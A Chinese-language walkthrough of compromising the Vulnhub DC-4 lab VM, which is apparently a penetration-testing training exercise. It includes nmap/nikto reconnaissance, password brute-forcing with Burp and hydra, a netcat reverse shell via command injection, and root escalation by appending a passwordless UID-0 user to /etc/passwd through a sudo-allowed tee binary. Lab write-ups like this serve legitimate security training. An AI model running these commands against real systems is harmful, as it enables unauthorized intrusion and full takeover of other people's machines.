一、环境搭建

攻击机:Kali-2021.3:192.168.8.105

靶机:Vulnhub-DC-4:192.168.8.168

二、信息收集

主机探活

1
nmap -sP 192.168.8.0/24

扫描靶机ip

1
nmap -A -p- 192.168.8.168

发现开放了22和80端口,把信息都记录起来

继续收集信息

1
whatweb 192.168.8.168:80

1
nikto -host 192.168.8.168

nikto是kali自带的工具,用于扫描网站后台文件

扫描完后发现并没有什么有用的信息了,也没有发现网站的框架、CMS等有用的信息

三、实战

先尝试访问IP的80端口

发现是个登录入口,查看源代码,感觉就只是一个简单的登录窗口

既然是一个登录页面,尝试一下弱口令爆破吧,单独对密码进行爆破,字典使用Burp自带的

爆破完之后发现密码为:happy

漏洞利用

得到的账号密码

admin

happy

回到登录页面进行登录,第一次登录后页面并没有改变,再次登录后才能登录成功

随便试试,发现里面可以执行命令,怀疑有命令执行的漏洞

把数据包拦截可以看到确实有命令执行

既然是命令执行,为了方便我们的操作,反弹一下shell吧

kali开启监听

1
nc -lvp 2222

然后在目标上执行

1
nc -e /bin/bash 192.168.8.105 2222

成功拿到shell

再利用python得到交互式shell

1
python -c 'import pty; pty.spawn("/bin/bash")'

提权

我们都知道,flag大概率在root中,但很明显我们的权限不够,需要提权

  1. SUID提权

    1
    find / -user root -perm -4000 -print 2>/dev/null

    但是并没有常见的可提权的文件,比如:

    nmap、vim、find、bash、more、less、nano、cp

  2. 免密使用的root级别命令

    1
    sudo -l

    但是发现需要密码,而我们没有密码,也行不通

好像走到尽头了,但别忘了我们扫到它的ssh端口是开放的,因此去寻找一下存在的ssh用户

发现存在三个用户

分别进去查看一下有什么文件,发现里面只有jim用户里存有文件,然后就是不断的寻找有用的文件了,最终发现了一个存有密码的文件

那接下来思路就很明确了,爆破这个用户就行了

首先将密码保存到本机的passwd.txt中,用户名就jim一个就行

然后利用hydra进行爆破

1
hydra 192.168.8.168 -L user.txt -P passwd.txt ssh

成功获得jim的密码

jibril04

接着利用刚刚的账号密码连接ssh进行登录

成功登录,而且出现了一段文字,翻译一下

Linux dc-4 4.9.0-3-686 #1 SMP Debian 4.9.30-2+deb9u5 (2017-09-19) i686

Debian GNU/Linux 系统中包含的程序是免费软件;
每个程序的确切分配条款在
/usr/share/doc/*/copyright 中的单个文件。

Debian GNU/Linux 绝对没有担保,在某种程度上
适用法律允许。
你有新邮件。

似乎是这个系统在每个用户登录的时候发给他的通知,在最下面可以看到说jim收到了一封新邮件,那我们就去寻找一下这封邮件看看,在var目录下发现了mail

翻译看看就能发现里面有另一个用户charles的密码

^xHhA&hvim0y

现在我们可以切换目录了,但是先测试一下jim用户能不能利用SUID提权和免密使用root命令

但是都没有成功,那就切换到charles用户试试

1
su charles

成功切换用户,然后继续尝试上面两种提权方式

发现了一个可以免密使用的root命令:teehee

百度一下就知道这是一个编辑器,可以用来提权

teehee 提权 - 隐念笎 - 博客园

提权思路就是利用teehee的root权限在passwd中写入一个免密的root权限用户

使用echo 命令与 sudo 命令配合使用,可以实现向那些只有系统管理员才有权限操作的文件中写入信息

1
2
echo "abab::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
cat /etc/passwd

passwd文件解读:(简单理解这个即可)
root:x:0:0::/home/admin:/bin/bash
[用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]
“-a” 选项的作用等同于 “>>” 命令
【额外补充:没有给新用户创建密码是因为你创建了也没有用,因为第2个位置是密码占位符,是占位符!!】

然后切换到我们新添加的用户名

成功拿到root权限,后面就进入root目录,就能成功得到flag

参考文章

DC4-靶机

dc-4 靶机渗透学习

黑客工具之hydra详细使用教程

编辑/etc/passwd文件进行权限升级的技巧